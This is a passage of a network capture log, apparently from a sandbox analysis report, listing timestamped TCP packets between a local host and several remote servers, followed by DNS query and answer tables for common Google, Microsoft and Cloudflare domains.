Nov 24, 2024 00:06:53.901206970 CET	49912	443	192.168.2.6	104.117.182.25
Nov 24, 2024 00:06:53.901226997 CET	443	49912	104.117.182.25	192.168.2.6
Nov 24, 2024 00:06:53.901299000 CET	49913	443	192.168.2.6	104.117.182.25
Nov 24, 2024 00:06:53.901316881 CET	443	49913	104.117.182.25	192.168.2.6
Nov 24, 2024 00:06:53.901395082 CET	49914	443	192.168.2.6	104.117.182.25
Nov 24, 2024 00:06:53.901408911 CET	443	49914	104.117.182.25	192.168.2.6
Nov 24, 2024 00:06:53.901485920 CET	49915	443	192.168.2.6	104.117.182.25
Nov 24, 2024 00:06:53.901501894 CET	443	49915	104.117.182.25	192.168.2.6
Nov 24, 2024 00:06:53.904612064 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.904675961 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.904725075 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.905052900 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.905069113 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.905083895 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.905098915 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.908205986 CET	49916	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.908231974 CET	443	49916	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.908304930 CET	49916	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.908456087 CET	49916	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:53.908471107 CET	443	49916	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:53.912395954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.912509918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.912570953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.912854910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.912930965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.912951946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.912992954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.913676977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.913738012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.913794041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.913832903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.914557934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.914621115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.914737940 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.914860964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.915462971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.915518999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.915586948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.915754080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.916327953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.916395903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.916440010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.916484118 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.917186975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.917224884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.917258978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.917294025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.918076992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.918239117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.918289900 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.918952942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.919013023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.919060946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.919116020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.919832945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.919884920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.919950962 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.919998884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.920706987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.920780897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.920821905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.920860052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.921585083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.921627998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.921674013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.921713114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.922456980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.922502041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.922524929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.922564983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.923326015 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.923374891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.923435926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.923472881 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.924323082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.924390078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.924432993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.924475908 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.925088882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.925143003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.925160885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.925183058 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.925983906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.926057100 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.926100016 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.926152945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.926841974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.926923037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.926964045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.927001953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.927742004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.927769899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.927794933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.927815914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.928612947 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.928669930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.928683043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.928723097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.970660925 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.970681906 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.970711946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.970732927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.970870018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.970917940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.970968008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.971004009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.971743107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.971812010 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.971920013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.971997976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.972625971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.972681999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.972729921 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.972822905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.973500967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.973562002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.973630905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.973665953 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.974376917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.974436045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.974478960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.974514961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.975282907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.975337982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.975400925 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.975481033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.976165056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.976286888 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.976336956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.977025032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.977086067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.977135897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.977307081 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.977890968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.977937937 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.978058100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.978099108 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.978774071 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.978962898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.979010105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.979660988 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.979788065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.979839087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.980549097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.980635881 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.980705976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.981405020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.981466055 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.981512070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.981553078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.982276917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.982326984 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.982342005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.982539892 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.983159065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.983215094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.983270884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.983347893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.984028101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.984196901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.984282017 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.984322071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.984954119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.985076904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.985142946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.985793114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.985898972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.985964060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.986665964 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.986773014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.986829042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.987543106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.987605095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.987665892 CET	80	49818	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 00:06:27.412873030 CET	192.168.2.6	1.1.1.1	0x3396	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:27.413032055 CET	192.168.2.6	1.1.1.1	0xc629	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:34.454462051 CET	192.168.2.6	1.1.1.1	0x33e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:34.454893112 CET	192.168.2.6	1.1.1.1	0xfa55	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:38.630358934 CET	192.168.2.6	1.1.1.1	0xc02b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:38.630970001 CET	192.168.2.6	1.1.1.1	0xb36f	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:41.275691986 CET	192.168.2.6	1.1.1.1	0x8cb6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:41.275892973 CET	192.168.2.6	1.1.1.1	0x7a66	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 24, 2024 00:06:41.849313974 CET	192.168.2.6	1.1.1.1	0xf451	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:41.849581957 CET	192.168.2.6	1.1.1.1	0x189	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:42.524312019 CET	192.168.2.6	1.1.1.1	0x4ecd	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.524518013 CET	192.168.2.6	1.1.1.1	0xfa4a	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:42.545576096 CET	192.168.2.6	1.1.1.1	0xc826	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.545718908 CET	192.168.2.6	1.1.1.1	0xef6	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:42.699728966 CET	192.168.2.6	1.1.1.1	0x52bf	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.699876070 CET	192.168.2.6	1.1.1.1	0x4c66	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:43.070453882 CET	192.168.2.6	1.1.1.1	0xa99e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.070653915 CET	192.168.2.6	1.1.1.1	0x18fd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:43.071127892 CET	192.168.2.6	1.1.1.1	0x9908	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.071302891 CET	192.168.2.6	1.1.1.1	0x994f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:43.074795008 CET	192.168.2.6	1.1.1.1	0x73a8	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.074949980 CET	192.168.2.6	1.1.1.1	0x4d1e	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 24, 2024 00:06:43.106409073 CET	192.168.2.6	1.1.1.1	0xa1a7	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.106606960 CET	192.168.2.6	1.1.1.1	0xd2a2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 00:08:41.297974110 CET	192.168.2.6	1.1.1.1	0xb013	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:08:41.297974110 CET	192.168.2.6	1.1.1.1	0xa0da	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 24, 2024 00:08:43.046678066 CET	192.168.2.6	1.1.1.1	0xec8	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:08:43.046813965 CET	192.168.2.6	1.1.1.1	0x6a40	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 00:06:27.549779892 CET	1.1.1.1	192.168.2.6	0xc629	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 24, 2024 00:06:27.549793005 CET	1.1.1.1	192.168.2.6	0x3396	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:34.591335058 CET	1.1.1.1	192.168.2.6	0x33e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:34.591335058 CET	1.1.1.1	192.168.2.6	0x33e	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:34.596373081 CET	1.1.1.1	192.168.2.6	0xfa55	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:38.767430067 CET	1.1.1.1	192.168.2.6	0xc02b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:38.868376970 CET	1.1.1.1	192.168.2.6	0xb36f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:39.209451914 CET	1.1.1.1	192.168.2.6	0xa9e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:39.209451914 CET	1.1.1.1	192.168.2.6	0xa9e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:39.313080072 CET	1.1.1.1	192.168.2.6	0x10a1	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:41.413635015 CET	1.1.1.1	192.168.2.6	0x8cb6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:41.497896910 CET	1.1.1.1	192.168.2.6	0x7a66	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:41.986151934 CET	1.1.1.1	192.168.2.6	0xf451	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:41.986151934 CET	1.1.1.1	192.168.2.6	0xf451	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:41.988307953 CET	1.1.1.1	192.168.2.6	0x189	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:42.662307024 CET	1.1.1.1	192.168.2.6	0x4ecd	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.662307024 CET	1.1.1.1	192.168.2.6	0x4ecd	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.662307024 CET	1.1.1.1	192.168.2.6	0x4ecd	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.662307024 CET	1.1.1.1	192.168.2.6	0x4ecd	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:42.683726072 CET	1.1.1.1	192.168.2.6	0xef6	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:42.683821917 CET	1.1.1.1	192.168.2.6	0xc826	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:42.836368084 CET	1.1.1.1	192.168.2.6	0x52bf	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:42.929776907 CET	1.1.1.1	192.168.2.6	0x4c66	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:43.207046986 CET	1.1.1.1	192.168.2.6	0xa99e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.207046986 CET	1.1.1.1	192.168.2.6	0xa99e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.207509995 CET	1.1.1.1	192.168.2.6	0x18fd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 00:06:43.207532883 CET	1.1.1.1	192.168.2.6	0x9908	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.207532883 CET	1.1.1.1	192.168.2.6	0x9908	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.208297014 CET	1.1.1.1	192.168.2.6	0x994f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 00:06:43.211580992 CET	1.1.1.1	192.168.2.6	0x73a8	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:43.211693048 CET	1.1.1.1	192.168.2.6	0x4d1e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:43.243524075 CET	1.1.1.1	192.168.2.6	0xd2a2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 24, 2024 00:06:43.243956089 CET	1.1.1.1	192.168.2.6	0xa1a7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:43.243956089 CET	1.1.1.1	192.168.2.6	0xa1a7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:45.860131979 CET	1.1.1.1	192.168.2.6	0xc689	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:45.891196012 CET	1.1.1.1	192.168.2.6	0x90e6	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:45.891196012 CET	1.1.1.1	192.168.2.6	0x90e6	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:46.463529110 CET	1.1.1.1	192.168.2.6	0xa2a1	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:46.463768005 CET	1.1.1.1	192.168.2.6	0xef94	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:46.463768005 CET	1.1.1.1	192.168.2.6	0xef94	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:48.493251085 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:48.493251085 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:49.510087013 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:49.510087013 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:50.516411066 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:50.516411066 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:52.625329018 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:52.625329018 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:06:56.651671886 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 24, 2024 00:06:56.651671886 CET	1.1.1.1	192.168.2.6	0x160a	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 24, 2024 00:08:41.434993029 CET	1.1.1.1	192.168.2.6	0xb013	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
